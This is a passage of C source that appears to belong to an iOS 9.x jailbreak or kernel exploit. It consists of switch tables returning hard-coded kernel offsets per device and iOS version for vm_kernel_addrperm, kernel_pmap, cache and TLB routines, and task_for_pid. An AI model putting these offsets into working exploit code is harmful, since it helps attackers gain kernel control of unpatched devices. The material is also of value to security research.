        case iPad35_iOS932: return 0xcb508;
        case iPad35_iOS933: return 0xcb508;
        case iPad35_iOS934: return 0xcb508;
        case iPad36_iOS910: return 0xcb5a8;
        case iPad36_iOS920: return 0xca5a8;
        case iPad36_iOS921: return 0xca5a8;
        case iPad36_iOS930: return 0xcb508;
        case iPad36_iOS931: return 0xcb508;
        case iPad36_iOS932: return 0xcb508;
        case iPad36_iOS933: return 0xcb508;
        case iPad36_iOS934: return 0xcb508;
        case iPod51_iOS910: return 0xc7488;
        case iPod51_iOS920: return 0xc6488;
        case iPod51_iOS921: return 0xc6488;
        case iPod51_iOS930: return 0xc73e8;
        case iPod51_iOS931: return 0xc73e8;
        case iPod51_iOS932: return 0xc73e8;
        case iPod51_iOS933: return 0xc73e8;
        case iPod51_iOS934: return 0xc73e8;
        default: return 0;
    }
}

static inline unsigned int find_vm_kernel_addrperm(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x455fa0;
        case iPhone41_iOS910: return 0x457030;
        case iPhone41_iOS920: return 0x44e840;
        case iPhone41_iOS921: return 0x44e840;
        case iPhone41_iOS930: return 0x455844;
        case iPhone41_iOS931: return 0x455844;
        case iPhone41_iOS932: return 0x455844;
        case iPhone41_iOS933: return 0x455844;
        case iPhone41_iOS934: return 0x455844;
        case iPhone51_iOS910: return 0x45e154;
        case iPhone51_iOS920: return 0x455964;
        case iPhone51_iOS921: return 0x455964;
        case iPhone51_iOS930: return 0x45d978;
        case iPhone51_iOS931: return 0x45d978;
        case iPhone51_iOS932: return 0x45d978;
        case iPhone51_iOS933: return 0x45d978;
        case iPhone51_iOS934: return 0x45d978;
        case iPhone52_iOS902: return 0x45c0c4;
        case iPhone52_iOS910: return 0x45e154;
        case iPhone52_iOS920: return 0x455964;
        case iPhone52_iOS921: return 0x455964;
        case iPhone52_iOS930: return 0x45d978;
        case iPhone52_iOS931: return 0x45d978;
        case iPhone52_iOS932: return 0x45d978;
        case iPhone52_iOS933: return 0x45d978;
        case iPhone52_iOS934: return 0x45d978;
        case iPhone53_iOS910: return 0x45e154;
        case iPhone53_iOS920: return 0x455964;
        case iPhone53_iOS921: return 0x455964;
        case iPhone53_iOS930: return 0x45d978;
        case iPhone53_iOS931: return 0x45d978;
        case iPhone53_iOS932: return 0x45d978;
        case iPhone53_iOS933: return 0x45d978;
        case iPhone53_iOS934: return 0x45d978;
        case iPhone54_iOS910: return 0x45e154;
        case iPhone54_iOS920: return 0x455964;
        case iPhone54_iOS921: return 0x455964;
        case iPhone54_iOS930: return 0x45D978;
        case iPhone54_iOS931: return 0x45d978;
        case iPhone54_iOS932: return 0x45d978;
        case iPhone54_iOS933: return 0x45d978;
        case iPhone54_iOS934: return 0x45d978;
        case iPad21_iOS910: return 0x457030;
        case iPad21_iOS920: return 0x44e840;
        case iPad21_iOS921: return 0x44e840;
        case iPad21_iOS930: return 0x455844;
        case iPad21_iOS931: return 0x455844;
        case iPad21_iOS932: return 0x455844;
        case iPad21_iOS933: return 0x455844;
        case iPad21_iOS934: return 0x455844;
        case iPad22_iOS910: return 0x457030;
        case iPad22_iOS920: return 0x44e840;
        case iPad22_iOS921: return 0x44e840;
        case iPad22_iOS930: return 0x455844;
        case iPad22_iOS931: return 0x455844;
        case iPad22_iOS932: return 0x455844;
        case iPad22_iOS933: return 0x455844;
        case iPad22_iOS934: return 0x455844;
        case iPad23_iOS910: return 0x457030;
        case iPad23_iOS920: return 0x44e840;
        case iPad23_iOS921: return 0x44e840;
        case iPad23_iOS930: return 0x455844;
        case iPad23_iOS931: return 0x455844;
        case iPad23_iOS932: return 0x455844;
        case iPad23_iOS933: return 0x455844;
        case iPad23_iOS934: return 0x455844;
        case iPad24_iOS910: return 0x457030;
        case iPad24_iOS920: return 0x44e840;
        case iPad24_iOS921: return 0x44e840;
        case iPad24_iOS930: return 0x455844;
        case iPad24_iOS931: return 0x455844;
        case iPad24_iOS932: return 0x455844;
        case iPad24_iOS933: return 0x455844;
        case iPad24_iOS934: return 0x455844;
        case iPad25_iOS902: return 0x455fa0;
        case iPad31_iOS910: return 0x457030;
        case iPad31_iOS920: return 0x44e840;
        case iPad31_iOS921: return 0x44e840;
        case iPad31_iOS930: return 0x455844;
        case iPad31_iOS931: return 0x455844;
        case iPad31_iOS932: return 0x455844;
        case iPad31_iOS933: return 0x455844;
        case iPad31_iOS934: return 0x455844;
        case iPad32_iOS910: return 0x457030;
        case iPad32_iOS920: return 0x44e840;
        case iPad32_iOS921: return 0x44e840;
        case iPad32_iOS930: return 0x455844;
        case iPad32_iOS931: return 0x455844;
        case iPad32_iOS932: return 0x455844;
        case iPad32_iOS933: return 0x455844;
        case iPad32_iOS934: return 0x455844;
        case iPad33_iOS902: return 0x455fa0;
        case iPad33_iOS910: return 0x457030;
        case iPad33_iOS920: return 0x44e840;
        case iPad33_iOS921: return 0x44e840;
        case iPad33_iOS930: return 0x455844;
        case iPad33_iOS931: return 0x455844;
        case iPad33_iOS932: return 0x455844;
        case iPad33_iOS933: return 0x455844;
        case iPad33_iOS934: return 0x455844;
        case iPad34_iOS910: return 0x45e154;
        case iPad34_iOS920: return 0x455964;
        case iPad34_iOS921: return 0x455964;
        case iPad34_iOS930: return 0x45d978;
        case iPad34_iOS931: return 0x45d978;
        case iPad34_iOS932: return 0x45d978;
        case iPad34_iOS933: return 0x45d978;
        case iPad34_iOS934: return 0x45d978;
        case iPad35_iOS910: return 0x45e154;
        case iPad35_iOS920: return 0x455964;
        case iPad35_iOS921: return 0x455964;
        case iPad35_iOS930: return 0x45d978;
        case iPad35_iOS931: return 0x45d978;
        case iPad35_iOS932: return 0x45d978;
        case iPad35_iOS933: return 0x45d978;
        case iPad35_iOS934: return 0x45d978;
        case iPad36_iOS910: return 0x45e154;
        case iPad36_iOS920: return 0x455964;
        case iPad36_iOS921: return 0x455964;
        case iPad36_iOS930: return 0x45d978;
        case iPad36_iOS931: return 0x45d978;
        case iPad36_iOS932: return 0x45d978;
        case iPad36_iOS933: return 0x45d978;
        case iPad36_iOS934: return 0x45d978;
        case iPod51_iOS910: return 0x457030;
        case iPod51_iOS920: return 0x44e840;
        case iPod51_iOS921: return 0x44e840;
        case iPod51_iOS930: return 0x455844;
        case iPod51_iOS931: return 0x455844;
        case iPod51_iOS932: return 0x455844;
        case iPod51_iOS933: return 0x455844;
        case iPod51_iOS934: return 0x455844;
        default: return 0;
    }
}

static inline unsigned int find_kernel_pmap(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x3f7444;
        case iPhone41_iOS910: return 0x3f8444;
        case iPhone41_iOS920: return 0x3ef444;
        case iPhone41_iOS921: return 0x3ef444;
        case iPhone41_iOS930: return 0x3f6454;
        case iPhone41_iOS931: return 0x3f6454;
        case iPhone41_iOS932: return 0x3f6454;
        case iPhone41_iOS933: return 0x3f6454;
        case iPhone41_iOS934: return 0x3f6454;
        case iPhone51_iOS910: return 0x3ff444;
        case iPhone51_iOS920: return 0x3f6444;
        case iPhone51_iOS921: return 0x3f6444;
        case iPhone51_iOS930: return 0x3fe454;
        case iPhone51_iOS931: return 0x3fe454;
        case iPhone51_iOS932: return 0x3fe454;
        case iPhone51_iOS933: return 0x3fe454;
        case iPhone51_iOS934: return 0x3fe454;
        case iPhone52_iOS902: return 0x3fd444;
        case iPhone52_iOS910: return 0x3ff444;
        case iPhone52_iOS920: return 0x3f6444;
        case iPhone52_iOS921: return 0x3f6444;
        case iPhone52_iOS930: return 0x3fe454;
        case iPhone52_iOS931: return 0x3fe454;
        case iPhone52_iOS932: return 0x3fe454;
        case iPhone52_iOS933: return 0x3fe454;
        case iPhone52_iOS934: return 0x3fe454;
        case iPhone53_iOS910: return 0x3ff444;
        case iPhone53_iOS920: return 0x3f6444;
        case iPhone53_iOS921: return 0x3f6444;
        case iPhone53_iOS930: return 0x3fe454;
        case iPhone53_iOS931: return 0x3fe454;
        case iPhone53_iOS932: return 0x3fe454;
        case iPhone53_iOS933: return 0x3fe454;
        case iPhone53_iOS934: return 0x3fe454;
        case iPhone54_iOS910: return 0x3ff444;
        case iPhone54_iOS920: return 0x3f6444;
        case iPhone54_iOS921: return 0x3f6444;
        case iPhone54_iOS930: return 0x3fe454;
        case iPhone54_iOS931: return 0x3fe454;
        case iPhone54_iOS932: return 0x3fe454;
        case iPhone54_iOS933: return 0x3fe454;
        case iPhone54_iOS934: return 0x3fe454;
        case iPad21_iOS910: return 0x3f8444;
        case iPad21_iOS920: return 0x3ef444;
        case iPad21_iOS921: return 0x3ef444;
        case iPad21_iOS930: return 0x3f6454;
        case iPad21_iOS931: return 0x3f6454;
        case iPad21_iOS932: return 0x3f6454;
        case iPad21_iOS933: return 0x3f6454;
        case iPad21_iOS934: return 0x3f6454;
        case iPad22_iOS910: return 0x3f8444;
        case iPad22_iOS920: return 0x3ef444;
        case iPad22_iOS921: return 0x3ef444;
        case iPad22_iOS930: return 0x3f6454;
        case iPad22_iOS931: return 0x3f6454;
        case iPad22_iOS932: return 0x3f6454;
        case iPad22_iOS933: return 0x3f6454;
        case iPad22_iOS934: return 0x3f6454;
        case iPad23_iOS910: return 0x3f8444;
        case iPad23_iOS920: return 0x3ef444;
        case iPad23_iOS921: return 0x3ef444;
        case iPad23_iOS930: return 0x3f6454;
        case iPad23_iOS931: return 0x3f6454;
        case iPad23_iOS932: return 0x3f6454;
        case iPad23_iOS933: return 0x3f6454;
        case iPad23_iOS934: return 0x3f6454;
        case iPad24_iOS910: return 0x3f8444;
        case iPad24_iOS920: return 0x3ef444;
        case iPad24_iOS921: return 0x3ef444;
        case iPad24_iOS930: return 0x3f6454;
        case iPad24_iOS931: return 0x3f6454;
        case iPad24_iOS932: return 0x3f6454;
        case iPad24_iOS933: return 0x3f6454;
        case iPad24_iOS934: return 0x3f6454;
        case iPad25_iOS902: return 0x3f7444;
        case iPad31_iOS910: return 0x3f8444;
        case iPad31_iOS920: return 0x3ef444;
        case iPad31_iOS921: return 0x3ef444;
        case iPad31_iOS930: return 0x3f6454;
        case iPad31_iOS931: return 0x3f6454;
        case iPad31_iOS932: return 0x3f6454;
        case iPad31_iOS933: return 0x3f6454;
        case iPad31_iOS934: return 0x3f6454;
        case iPad32_iOS910: return 0x3f8444;
        case iPad32_iOS920: return 0x3ef444;
        case iPad32_iOS921: return 0x3ef444;
        case iPad32_iOS930: return 0x3f6454;
        case iPad32_iOS931: return 0x3f6454;
        case iPad32_iOS932: return 0x3f6454;
        case iPad32_iOS933: return 0x3f6454;
        case iPad32_iOS934: return 0x3f6454;
        case iPad33_iOS902: return 0x3f7444;
        case iPad33_iOS910: return 0x3f8444;
        case iPad33_iOS920: return 0x3ef444;
        case iPad33_iOS921: return 0x3ef444;
        case iPad33_iOS930: return 0x3f6454;
        case iPad33_iOS931: return 0x3f6454;
        case iPad33_iOS932: return 0x3f6454;
        case iPad33_iOS933: return 0x3f6454;
        case iPad33_iOS934: return 0x3f6454;
        case iPad34_iOS910: return 0x3ff444;
        case iPad34_iOS920: return 0x3f6444;
        case iPad34_iOS921: return 0x3f6444;
        case iPad34_iOS930: return 0x3fe454;
        case iPad34_iOS931: return 0x3fe454;
        case iPad34_iOS932: return 0x3fe454;
        case iPad34_iOS933: return 0x3fe454;
        case iPad34_iOS934: return 0x3fe454;
        case iPad35_iOS910: return 0x3ff444;
        case iPad35_iOS920: return 0x3f6444;
        case iPad35_iOS921: return 0x3f6444;
        case iPad35_iOS930: return 0x3fe454;
        case iPad35_iOS931: return 0x3fe454;
        case iPad35_iOS932: return 0x3fe454;
        case iPad35_iOS933: return 0x3fe454;
        case iPad35_iOS934: return 0x3fe454;
        case iPad36_iOS910: return 0x3ff444;
        case iPad36_iOS920: return 0x3f6444;
        case iPad36_iOS921: return 0x3f6444;
        case iPad36_iOS930: return 0x3fe454;
        case iPad36_iOS931: return 0x3fe454;
        case iPad36_iOS932: return 0x3fe454;
        case iPad36_iOS933: return 0x3fe454;
        case iPad36_iOS934: return 0x3fe454;
        case iPod51_iOS910: return 0x3f8444;
        case iPod51_iOS920: return 0x3ef444;
        case iPod51_iOS921: return 0x3ef444;
        case iPod51_iOS930: return 0x3f6454;
        case iPod51_iOS931: return 0x3f6454;
        case iPod51_iOS932: return 0x3f6454;
        case iPod51_iOS933: return 0x3f6454;
        case iPod51_iOS934: return 0x3f6454;
        default: return 0;
    }
}

static inline unsigned int find_flush_dcache(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0xbc9b8;
        case iPhone41_iOS910: return 0xbcb7c;
        case iPhone41_iOS920: return 0xbb710;
        case iPhone41_iOS921: return 0xbb760;
        case iPhone41_iOS930: return 0xbc250;
        case iPhone41_iOS931: return 0xbc250;
        case iPhone41_iOS932: return 0xbc260;
        case iPhone41_iOS933: return 0xbc1d4;
        case iPhone41_iOS934: return 0xbc1d4;
        case iPhone51_iOS910: return 0xbf770;
        case iPhone51_iOS920: return 0xbe598;
        case iPhone51_iOS921: return 0xbe5d8;
        case iPhone51_iOS930: return 0xbf284;
        case iPhone51_iOS931: return 0xbf284;
        case iPhone51_iOS932: return 0xbf274;
        case iPhone51_iOS933: return 0xbf404;
        case iPhone51_iOS934: return 0xbf404;
        case iPhone52_iOS902: return 0xbf5ac;
        case iPhone52_iOS910: return 0xbf770;
        case iPhone52_iOS920: return 0xbe598;
        case iPhone52_iOS921: return 0xbe610;
        case iPhone52_iOS930: return 0xbf2bc;
        case iPhone52_iOS931: return 0xbf284;
        case iPhone52_iOS932: return 0xbf284;
        case iPhone52_iOS933: return 0xbf404;
        case iPhone52_iOS934: return 0xbf404;
        case iPhone53_iOS910: return 0xbf770;
        case iPhone53_iOS920: return 0xbe598;
        case iPhone53_iOS921: return 0xbe610;
        case iPhone53_iOS930: return 0xbf284;
        case iPhone53_iOS931: return 0xbf284;
        case iPhone53_iOS932: return 0xbf274;
        case iPhone53_iOS933: return 0xbf404;
        case iPhone53_iOS934: return 0xbf404;
        case iPhone54_iOS910: return 0xbf770;
        case iPhone54_iOS920: return 0xbe598;
        case iPhone54_iOS921: return 0xbe5d8;
        case iPhone54_iOS930: return 0xbf284;
        case iPhone54_iOS931: return 0xbf284;
        case iPhone54_iOS932: return 0xbf274;
        case iPhone54_iOS933: return 0xbf404;
        case iPhone54_iOS934: return 0xbf404;
        case iPad21_iOS910: return 0xbcb7c;
        case iPad21_iOS920: return 0xbb710;
        case iPad21_iOS921: return 0xbb760;
        case iPad21_iOS930: return 0xbc250;
        case iPad21_iOS931: return 0xbc250;
        case iPad21_iOS932: return 0xbc260;
        case iPad21_iOS933: return 0xbc1d4;
        case iPad21_iOS934: return 0xbc1d4;
        case iPad22_iOS910: return 0xbcb7c;
        case iPad22_iOS920: return 0xbb710;
        case iPad22_iOS921: return 0xbb760;
        case iPad22_iOS930: return 0xbc250;
        case iPad22_iOS931: return 0xbc250;
        case iPad22_iOS932: return 0xbc260;
        case iPad22_iOS933: return 0xbc1d4;
        case iPad22_iOS934: return 0xbc1d4;
        case iPad23_iOS910: return 0xbcb7c;
        case iPad23_iOS920: return 0xbb710;
        case iPad23_iOS921: return 0xbb760;
        case iPad23_iOS930: return 0xbc250;
        case iPad23_iOS931: return 0xbc250;
        case iPad23_iOS932: return 0xbc260;
        case iPad23_iOS933: return 0xbc1d8;
        case iPad23_iOS934: return 0xbc1d4;
        case iPad24_iOS910: return 0xbcb7c;
        case iPad24_iOS920: return 0xbb710;
        case iPad24_iOS921: return 0xbb760;
        case iPad24_iOS930: return 0xbc250;
        case iPad24_iOS931: return 0xbc250;
        case iPad24_iOS932: return 0xbc260;
        case iPad24_iOS933: return 0xbc1d8;
        case iPad24_iOS934: return 0xbc1d4;
        case iPad25_iOS902: return 0xbc9b8;
        case iPad31_iOS910: return 0xbcb7c;
        case iPad31_iOS920: return 0xbb710;
        case iPad31_iOS921: return 0xbb760;
        case iPad31_iOS930: return 0xbc250;
        case iPad31_iOS931: return 0xbc250;
        case iPad31_iOS932: return 0xbc260;
        case iPad31_iOS933: return 0xbc1d4;
        case iPad31_iOS934: return 0xbc1d4;
        case iPad32_iOS910: return 0xbcb7c;
        case iPad32_iOS920: return 0xbb710;
        case iPad32_iOS921: return 0xbb760;
        case iPad32_iOS930: return 0xbc250;
        case iPad32_iOS931: return 0xbc250;
        case iPad32_iOS932: return 0xbc260;
        case iPad32_iOS933: return 0xbc1d4;
        case iPad32_iOS934: return 0xbc1d4;
        case iPad33_iOS902: return 0xbc9b8;
        case iPad33_iOS910: return 0xbcb7c;
        case iPad33_iOS920: return 0xbb710;
        case iPad33_iOS921: return 0xbb760;
        case iPad33_iOS930: return 0xbc250;
        case iPad33_iOS931: return 0xbc250;
        case iPad33_iOS932: return 0xbc260;
        case iPad33_iOS933: return 0xbc1d4;
        case iPad33_iOS934: return 0xbc1d4;
        case iPad34_iOS910: return 0xbf770;
        case iPad34_iOS920: return 0xbe598;
        case iPad34_iOS921: return 0xbe5d8;
        case iPad34_iOS930: return 0xbf284;
        case iPad34_iOS931: return 0xbf284;
        case iPad34_iOS932: return 0xbf274;
        case iPad34_iOS933: return 0xbf404;
        case iPad34_iOS934: return 0xbf404;
        case iPad35_iOS910: return 0xbf770;
        case iPad35_iOS920: return 0xbe598;
        case iPad35_iOS921: return 0xbe5d8;
        case iPad35_iOS930: return 0xbf284;
        case iPad35_iOS931: return 0xbf284;
        case iPad35_iOS932: return 0xbf274;
        case iPad35_iOS933: return 0xbf404;
        case iPad35_iOS934: return 0xbf404;
        case iPad36_iOS910: return 0xbf770;
        case iPad36_iOS920: return 0xbe598;
        case iPad36_iOS921: return 0xbe5d8;
        case iPad36_iOS930: return 0xbf284;
        case iPad36_iOS931: return 0xbf284;
        case iPad36_iOS932: return 0xbf274;
        case iPad36_iOS933: return 0xbf404;
        case iPad36_iOS934: return 0xbf404;
        case iPod51_iOS910: return 0xbcb7c;
        case iPod51_iOS920: return 0xbb710;
        case iPod51_iOS921: return 0xbb760;
        case iPod51_iOS930: return 0xbc250;
        case iPod51_iOS931: return 0xbc250;
        case iPod51_iOS932: return 0xbc260;
        case iPod51_iOS933: return 0xbc1d4;
        case iPod51_iOS934: return 0xbc1d4;
        default: return 0;
    }
}

static inline unsigned int find_invalidate_tlb(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0xc74e0;
        case iPhone41_iOS910: return 0xc74e0;
        case iPhone41_iOS920: return 0xc64e0;
        case iPhone41_iOS921: return 0xc64e0;
        case iPhone41_iOS930: return 0xc7440;
        case iPhone41_iOS931: return 0xc7440;
        case iPhone41_iOS932: return 0xc7440;
        case iPhone41_iOS933: return 0xc7440;
        case iPhone41_iOS934: return 0xc7440;
        case iPhone51_iOS910: return 0xcb600;
        case iPhone51_iOS920: return 0xca600;
        case iPhone51_iOS921: return 0xca600;
        case iPhone51_iOS930: return 0xcb560;
        case iPhone51_iOS931: return 0xcb560;
        case iPhone51_iOS932: return 0xcb560;
        case iPhone51_iOS933: return 0xcb560;
        case iPhone51_iOS934: return 0xcb560;
        case iPhone52_iOS902: return 0xcb600;
        case iPhone52_iOS910: return 0xcb600;
        case iPhone52_iOS920: return 0xca600;
        case iPhone52_iOS921: return 0xca600;
        case iPhone52_iOS930: return 0xcb560;
        case iPhone52_iOS931: return 0xcb560;
        case iPhone52_iOS932: return 0xcb560;
        case iPhone52_iOS933: return 0xcb560;
        case iPhone52_iOS934: return 0xcb560;
        case iPhone53_iOS910: return 0xcb600;
        case iPhone53_iOS920: return 0xca600;
        case iPhone53_iOS921: return 0xca600;
        case iPhone53_iOS930: return 0xcb560;
        case iPhone53_iOS931: return 0xcb560;
        case iPhone53_iOS932: return 0xcb560;
        case iPhone53_iOS933: return 0xcb560;
        case iPhone53_iOS934: return 0xcb560;
        case iPhone54_iOS910: return 0xcb600;
        case iPhone54_iOS920: return 0xca600;
        case iPhone54_iOS921: return 0xca600;
        case iPhone54_iOS930: return 0xcb560;
        case iPhone54_iOS931: return 0xcb560;
        case iPhone54_iOS932: return 0xcb560;
        case iPhone54_iOS933: return 0xcb560;
        case iPhone54_iOS934: return 0xcb560;
        case iPad21_iOS910: return 0xc74e0;
        case iPad21_iOS920: return 0xc64e0;
        case iPad21_iOS921: return 0xc64e0;
        case iPad21_iOS930: return 0xc7440;
        case iPad21_iOS931: return 0xc7440;
        case iPad21_iOS932: return 0xc7440;
        case iPad21_iOS933: return 0xc7440;
        case iPad21_iOS934: return 0xc7440;
        case iPad22_iOS910: return 0xc74e0;
        case iPad22_iOS920: return 0xc64e0;
        case iPad22_iOS921: return 0xc64e0;
        case iPad22_iOS930: return 0xc7440;
        case iPad22_iOS931: return 0xc7440;
        case iPad22_iOS932: return 0xc7440;
        case iPad22_iOS933: return 0xc7440;
        case iPad22_iOS934: return 0xc7440;
        case iPad23_iOS910: return 0xc74e0;
        case iPad23_iOS920: return 0xc64e0;
        case iPad23_iOS921: return 0xc64e0;
        case iPad23_iOS930: return 0xc7440;
        case iPad23_iOS931: return 0xc7440;
        case iPad23_iOS932: return 0xc7440;
        case iPad23_iOS933: return 0xc7450;
        case iPad23_iOS934: return 0xc7440;
        case iPad24_iOS910: return 0xc74e0;
        case iPad24_iOS920: return 0xc64e0;
        case iPad24_iOS921: return 0xc64e0;
        case iPad24_iOS930: return 0xc7440;
        case iPad24_iOS931: return 0xc7440;
        case iPad24_iOS932: return 0xc7440;
        case iPad24_iOS933: return 0xc7450;
        case iPad24_iOS934: return 0xc7440;
        case iPad25_iOS902: return 0xc74e0;
        case iPad31_iOS910: return 0xc74e0;
        case iPad31_iOS920: return 0xc64e0;
        case iPad31_iOS921: return 0xc64e0;
        case iPad31_iOS930: return 0xc7440;
        case iPad31_iOS931: return 0xc7440;
        case iPad31_iOS932: return 0xc7440;
        case iPad31_iOS933: return 0xc7440;
        case iPad31_iOS934: return 0xc7440;
        case iPad32_iOS910: return 0xc74e0;
        case iPad32_iOS920: return 0xc64e0;
        case iPad32_iOS921: return 0xc64e0;
        case iPad32_iOS930: return 0xc7440;
        case iPad32_iOS931: return 0xc7440;
        case iPad32_iOS932: return 0xc7440;
        case iPad32_iOS933: return 0xc7440;
        case iPad32_iOS934: return 0xc7440;
        case iPad33_iOS902: return 0xc74e0;
        case iPad33_iOS910: return 0xc74e0;
        case iPad33_iOS920: return 0xc64e0;
        case iPad33_iOS921: return 0xc64e0;
        case iPad33_iOS930: return 0xc7440;
        case iPad33_iOS931: return 0xc7440;
        case iPad33_iOS932: return 0xc7440;
        case iPad33_iOS933: return 0xc7440;
        case iPad33_iOS934: return 0xc7440;
        case iPad34_iOS910: return 0xcb600;
        case iPad34_iOS920: return 0xca600;
        case iPad34_iOS921: return 0xca600;
        case iPad34_iOS930: return 0xcb560;
        case iPad34_iOS931: return 0xcb560;
        case iPad34_iOS932: return 0xcb560;
        case iPad34_iOS933: return 0xcb560;
        case iPad34_iOS934: return 0xcb560;
        case iPad35_iOS910: return 0xcb600;
        case iPad35_iOS920: return 0xca600;
        case iPad35_iOS921: return 0xca600;
        case iPad35_iOS930: return 0xcb560;
        case iPad35_iOS931: return 0xcb560;
        case iPad35_iOS932: return 0xcb560;
        case iPad35_iOS933: return 0xcb560;
        case iPad35_iOS934: return 0xcb560;
        case iPad36_iOS910: return 0xcb600;
        case iPad36_iOS920: return 0xca600;
        case iPad36_iOS921: return 0xca600;
        case iPad36_iOS930: return 0xcb560;
        case iPad36_iOS931: return 0xcb560;
        case iPad36_iOS932: return 0xcb560;
        case iPad36_iOS933: return 0xcb560;
        case iPad36_iOS934: return 0xcb560;
        case iPod51_iOS910: return 0xc74e0;
        case iPod51_iOS920: return 0xc64e0;
        case iPod51_iOS921: return 0xc64e0;
        case iPod51_iOS930: return 0xc7440;
        case iPod51_iOS931: return 0xc7440;
        case iPod51_iOS932: return 0xc7440;
        case iPod51_iOS933: return 0xc7440;
        case iPod51_iOS934: return 0xc7440;
        default: return 0;
    }
}

static inline unsigned int find_task_for_pid(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x2fca70;
        case iPhone41_iOS910: return 0x2fe034;
        case iPhone41_iOS920: return 0x2f55b4;
        case iPhone41_iOS921: return 0x2f56c4;
        case iPhone41_iOS930: return 0x2fcc8c;
        case iPhone41_iOS931: return 0x2fcc8c;
        case iPhone41_iOS932: return 0x2fcd80;
        case iPhone41_iOS933: return 0x2fcec0;
        case iPhone41_iOS934: return 0x2fcec0;
        case iPhone51_iOS910: return 0x3040a4;
        case iPhone51_iOS920: return 0x2fbb8c;
        case iPhone51_iOS921: return 0x2fbc9c;
        case iPhone51_iOS930: return 0x302e3c;
        case iPhone51_iOS931: return 0x302e3c;
        case iPhone51_iOS932: return 0x302df0;
        case iPhone51_iOS933: return 0x302fd4;
        case iPhone51_iOS934: return 0x302fd4;
        case iPhone52_iOS902: return 0x302bdc;
        case iPhone52_iOS910: return 0x3040a4;
        case iPhone52_iOS920: return 0x2fbb8c;
        case iPhone52_iOS921: return 0x2fbc9c;
        case iPhone52_iOS930: return 0x302e3c;
        case iPhone52_iOS931: return 0x302e3c;
        case iPhone52_iOS932: return 0x302df0;
        case iPhone52_iOS933: return 0x302fd4;
        case iPhone52_iOS934: return 0x302fd4;
        case iPhone53_iOS910: return 0x3040a4;
        case iPhone53_iOS920: return 0x2fbb8c;
        case iPhone53_iOS921: return 0x2fbc9c;
        case iPhone53_iOS930: return 0x302e3c;
        case iPhone53_iOS931: return 0x302e3c;
        case iPhone53_iOS932: return 0x302df0;
        case iPhone53_iOS933: return 0x302fd4;
        case iPhone53_iOS934: return 0x302fd4;
        case iPhone54_iOS910: return 0x3040a4;
        case iPhone54_iOS920: return 0x2fbb8c;
        case iPhone54_iOS921: return 0x2fbc9c;
        case iPhone54_iOS930: return 0x302e3c;
        case iPhone54_iOS931: return 0x302e3c;
        case iPhone54_iOS932: return 0x302df0;
        case iPhone54_iOS933: return 0x302fd4;
        case iPhone54_iOS934: return 0x302fd4;
        case iPad21_iOS910: return 0x2fe034;
        case iPad21_iOS920: return 0x2f55b4;
        case iPad21_iOS921: return 0x2f56c4;
        case iPad21_iOS930: return 0x2fcc8c;
        case iPad21_iOS931: return 0x2fcc8c;
        case iPad21_iOS932: return 0x2fcd80;
        case iPad21_iOS933: return 0x2fcec0;
        case iPad21_iOS934: return 0x2fcec0;
        case iPad22_iOS910: return 0x2fe034;
        case iPad22_iOS920: return 0x2f55b4;
        case iPad22_iOS921: return 0x2f56c4;
        case iPad22_iOS930: return 0x2fcc8c;
        case iPad22_iOS931: return 0x2fcc8c;
        case iPad22_iOS932: return 0x2fcd80;
        case iPad22_iOS933: return 0x2fcec0;
        case iPad22_iOS934: return 0x2fcec0;
        case iPad23_iOS910: return 0x2fe034;
        case iPad23_iOS920: return 0x2f55b4;
        case iPad23_iOS921: return 0x2f56c4;
        case iPad23_iOS930: return 0x2fcc8c;
        case iPad23_iOS931: return 0x2fcc8c;
        case iPad23_iOS932: return 0x2fcd80;
        case iPad23_iOS933: return 0x2fcec0;
        case iPad23_iOS934: return 0x2fcec0;
        case iPad24_iOS910: return 0x2fe034;
        case iPad24_iOS920: return 0x2f55b4;
        case iPad24_iOS921: return 0x2f56c4;
        case iPad24_iOS930: return 0x2fcc8c;
        case iPad24_iOS931: return 0x2fcc8c;
        case iPad24_iOS932: return 0x2fcd80;
        case iPad24_iOS933: return 0x2fcec0;
        case iPad24_iOS934: return 0x2fcec0;
        case iPad25_iOS902: return 0x2fca70;
        case iPad31_iOS910: return 0x2fe034;
        case iPad31_iOS920: return 0x2f55b4;
        case iPad31_iOS921: return 0x2f56c4;
        case iPad31_iOS930: return 0x2fcc8c;
        case iPad31_iOS931: return 0x2fcc8c;
        case iPad31_iOS932: return 0x2fcd80;
        case iPad31_iOS933: return 0x2fcec0;
        case iPad31_iOS934: return 0x2fcec0;
        case iPad32_iOS910: return 0x2fe034;
        case iPad32_iOS920: return 0x2f55b4;
        case iPad32_iOS921: return 0x2f56c4;
        case iPad32_iOS930: return 0x2fcc8c;
        case iPad32_iOS931: return 0x2fcc8c;
        case iPad32_iOS932: return 0x2fcd80;
        case iPad32_iOS933: return 0x2fcec0;
        case iPad32_iOS934: return 0x2fcec0;
        case iPad33_iOS902: return 0x2fca70;
        case iPad33_iOS910: return 0x2fe034;
        case iPad33_iOS920: return 0x2f55b4;
        case iPad33_iOS921: return 0x2f56c4;
        case iPad33_iOS930: return 0x2fcc8c;
        case iPad33_iOS931: return 0x2fcc8c;
        case iPad33_iOS932: return 0x2fcd80;
        case iPad33_iOS933: return 0x2fcec0;
        case iPad33_iOS934: return 0x2fcec0;
        case iPad34_iOS910: return 0x3040a4;
        case iPad34_iOS920: return 0x2fbb8c;
        case iPad34_iOS921: return 0x2fbc9c;
        case iPad34_iOS930: return 0x302e3c;
        case iPad34_iOS931: return 0x302e3c;
        case iPad34_iOS932: return 0x302df0;
        case iPad34_iOS933: return 0x302fd4;
        case iPad34_iOS934: return 0x302fd4;
        case iPad35_iOS910: return 0x3040a4;
        case iPad35_iOS920: return 0x2fbb8c;
        case iPad35_iOS921: return 0x2fbc9c;
        case iPad35_iOS930: return 0x302e3c;
        case iPad35_iOS931: return 0x302e3c;
        case iPad35_iOS932: return 0x302df0;
        case iPad35_iOS933: return 0x302fd4;
        case iPad35_iOS934: return 0x302fd4;
        case iPad36_iOS910: return 0x3040a4;
        case iPad36_iOS920: return 0x2fbb8c;
        case iPad36_iOS921: return 0x2fbc9c;
        case iPad36_iOS930: return 0x302e3c;
        case iPad36_iOS931: return 0x302e3c;
        case iPad36_iOS932: return 0x302df0;
        case iPad36_iOS933: return 0x302fd4;
        case iPad36_iOS934: return 0x302fd4;
        case iPod51_iOS910: return 0x2fe034;
        case iPod51_iOS920: return 0x2f55b4;
        case iPod51_iOS921: return 0x2f56c4;
